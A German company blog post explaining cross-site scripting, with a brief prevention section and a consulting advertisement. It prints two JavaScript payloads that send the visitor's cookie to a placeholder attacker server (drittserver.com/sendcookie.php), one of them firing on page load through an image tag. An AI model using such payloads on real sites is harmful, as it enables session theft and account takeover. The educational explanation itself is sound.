CodeGuides Blog

Sicherheitslücke: Cross Site Scripting XSS

In unserem Blog wollen wir unter anderem regelmäßig über bekannte und in einfachen Anwendungen vorhandene Sicherheitslücken informieren. In vielen Webanwendungen lauern Gefahren, die dazu führen können, dass Nutzerdaten gestohlen, Inhalte unerlaubt bearbeitet oder Kunden ausgespäht werden können. Grundsätzlich sind unsere Anwendungen aktuellen Sicherheitsstandards entsprechend. Das bedeutet, dass wenn Sie mit uns zusammen arbeiten, können Sie auf gewisse Sicherheiten bauen, damit Sie die Daten Ihrer Kunden geheim halten können. Im nachfolgenden Text geht es um eine beliebte Angriffsmethode in Webanwendungen: Das Cross-Site-Scripting, auch XSS genannt.

Das Cross-Site-Scripting zielt darauf ab, durch eine Sicherheitslücke auf Client oder Server, Internetseiten zu ändern oder vertrauliche Informationen abzugreifen. Dabei wird der Code des Angreifers auf einer vermeintlich vertrauensvollen Website eingebettet. Bei dieser Angriffsmethode wird meist JavaScript verwendet, da es eine plattformunabhängige Sprache ist, die u.aLogin Formular. die Seitenstruktur der HTML-Seite gänzlich ändern kann oder neue HTML-Elemente einfügen kann. Diese Methode wird Defacement genannt. Zusätzlich ist es über XSS per JavaScript möglich, eingefügte Daten in Echtzeit auszulesen und zu senden. Unter eingefügten Daten sind hierbei vor allem Nutzernamen, Passwörter und weitere vertrauliche Informationen gefasst.

Der Angreifer geht dabei so vor, dass er als Client die Webseite herunterlädt und den HTML- und JavaScript-Code der Seite präpariert. Der Angreifer injiziert seinen Schadcode und stellt die Seite online zur Verfügung. Es besteht dabei die Möglichkeit, die eingegebenen Daten des Nutzers an sich zu übermitteln oder die Cookie-Daten des Clients zu senden, sodass der Angreifer beispielsweise Sesson Stealing betreiben kann.

Wie wird der Angriff ausgeführt?

Umsetzbar ist die Angriffsmöglichkeit, indem der Angreifer einen Link der Webseite dahingehend verändert, dass die eingegebenen Nutzerdaten, bzw. das Cookie, an den eigenen Server per PHP-Aufruf übermittelt wird. Der originale Link, z.B. ein Link, der nur in Bereichen der Webanwendung vorkommt, für den man autorisiert sein muss, wird dabei zunächst entfernt. Anschließend wird ein neuer Link über folgenden JavaScript-Code generiert:

<script>document.write('<a href="" onclick="https://www.drittserver.com/sendcookie.php?' + document.cookie + '">');</script>

Alternativ kann der Code auch bereits beim Laden der Seite ausgeführt werden, wenn statt eines Links ein neues Bild-Objekt erzeugt wird. Die Implementierung dieses Angriffs sieht wie folgt aus:

<script>document.write('<img src="https://www.drittserver.com/sendcookie.php?' + document.cookie + '">');</script>

Die Quelle des Bildes ist demnach nicht korrekt festgelegt und auf der Seite wird kein Bild im Image-Tag angezeigt. Jedoch wird beim Abrufen der Quelle das Cookie, wie zuvor beschrieben, an den Zielserver, also den Server des Angreifers, übermittelt. Beim Aufruf wird die PHP-Datei sendcookie.php des Zielservers aufgerufen und das Cookie des Clients über document.cookie ausgelesen und gesendet. Der Zielserver kann anschließend die Daten aus der Anfrage verarbeiten und das Cookie lokal sichern.

Ist es auf der Webanwendung möglich, als User Quellcode oder andere Daten hochzuladen, ist es einem Angreifer auch möglich, Schadcode direkt auf der Seite zu platzieren. Das Senden von präparierten Links ist dann nicht mehr notwendig. Diese Angriffsmöglichkeit ist bei allen Foren und Blogs möglich, bei denen eine Kommentar-Funktion existiert. Dabei werden die Kommentare in der Datenbank des Servers gespeichert und sie werden beim Aufruf der Kommentare abgerufen. Erlaubt man den Nutzern das Speichern von HTML-Code, so kann ein Angreifer über die oben gezeigten JavaScript-Codes die Nutzerdaten per XSS abgreifen.

jh

Sie wollen noch 2021 Ihre Digitalisierung voranbringen?

Dann sichern Sie sich eine kostenlose Beratung und wir analysieren auf Augenhöhe Ihre Prozesse und mögliche Potenziale.

Ihr Julius Hennig, IT-Consultant

XSS verhindern

Um diese Angriffsmöglichkeit zu verhindern, muss auf der Webanwendung verhindert werden, dass Nutzer Quellcode auf die Seite hochladen können. Ein Hochladen von HTML-, JavaScript- oder CSS-Code muss unterbunden oder gefiltert werden. Eine Möglichkeit, wäre das strikte Verbieten, eine andere wäre das Filtern von Syntax (z.B. <, >, oder gesamte Tags, wie <script>) auf Server-Seite. Ein Filtern über JavaScript ist zwar auch sinnvoll, jedoch kann ein Angreifer diesen einfach entfernen. Bei der Methode des vorherigen Präparierens der Seite und des Übermittelns eines falschen Links durch Angreifer, kann ein Seitenbetreiber keine präventiven Maßnahmen vornehmen, da es einem Client immer möglich ist, den gesamten Frontend-Quellcode der Seite herunterzuladen. Ein Angreifer kann anschließend immer die Seite bearbeiten und auf seinem eigenen Server hochladen.

Sicherheitslücke: Cross Site Scripting XSS

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

Nach oben scrollen